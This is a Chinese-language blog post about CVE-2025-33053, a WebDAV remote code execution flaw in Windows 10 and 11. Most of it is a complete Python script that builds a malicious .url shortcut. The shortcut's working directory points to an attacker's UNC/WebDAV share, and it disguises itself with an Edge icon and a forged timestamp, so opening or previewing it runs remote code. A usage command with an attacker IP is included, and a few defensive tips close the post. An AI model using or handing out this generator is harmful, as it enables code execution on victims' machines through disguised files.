WebDAV Windows 10远程代码执行漏洞利用详解

本文详细分析了Windows 10系统中WebDAV服务存在的远程代码执行漏洞,通过恶意.URL文件利用UNC路径实现任意代码执行,包含完整的Python利用代码和攻击原理说明。

WebDAV Windows 10 - 远程代码执行漏洞

漏洞标题: WebDAV Windows 10 - 远程代码执行
发布日期: 2025年6月
作者: Dev Bui Hieu
测试平台: Windows 10, Windows 11
漏洞类型: 远程攻击
CVE编号: CVE-2025-33053

漏洞描述

该漏洞利用Windows系统处理.URL文件时的特性,通过UNC路径执行远程二进制文件。当受害者打开或预览恶意.URL文件时,系统会自动访问指定的远程路径,导致在无用户确认的情况下执行任意代码。

利用代码

1
python3 gen_url.py --ip 192.168.1.100 --out doc.url
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import argparse

def generate_url_file(output_file, url_target, working_directory, icon_file, icon_index, modified):
    content = f"""[InternetShortcut]
URL={url_target}
WorkingDirectory={working_directory}
ShowCommand=7
IconIndex={icon_index}
IconFile={icon_file}
Modified={modified}
"""
    with open(output_file, "w", encoding="utf-8") as f:
        f.write(content)
    print(f"[+] .url file created: {output_file}")

def main():
    parser = argparse.ArgumentParser(description="Generate a malicious .url file (UNC/WebDAV shortcut)")
    
    parser.add_argument('--out', default="bait.url", help="Output .url file name")
    parser.add_argument('--ip', required=True, help="Attacker IP address or domain name for UNC/WebDAV path")
    parser.add_argument('--share', default="webdav", help="Shared folder name (default: webdav)")
    parser.add_argument('--exe', default=r"C:\Program Files\Internet Explorer\iediagcmd.exe",
                        help="Target executable path on victim machine")
    parser.add_argument('--icon', default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
                        help="Icon file path")
    parser.add_argument('--index', type=int, default=13, help="Icon index (default: 13)")
    parser.add_argument('--modified', default="20F06BA06D07BD014D", help="Fake Modified timestamp (hex string)")

    args = parser.parse_args()

    working_directory = fr"\\{args.ip}\{args.share}\\"

    generate_url_file(
        output_file=args.out,
        url_target=args.exe,
        working_directory=working_directory,
        icon_file=args.icon,
        icon_index=args.index,
        modified=args.modified
    )

if __name__ == "__main__":
    main()

技术细节

  • 利用Windows系统对.URL文件的自动处理机制
  • 通过UNC路径指向攻击者控制的WebDAV或SMB共享
  • 可自定义目标可执行文件路径和图标文件
  • 支持伪造文件修改时间戳以增强隐蔽性

防御建议

  • 禁用不必要的WebDAV服务
  • 配置系统不自动打开远程文件
  • 实施网络访问控制策略
  • 及时更新系统安全补丁
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计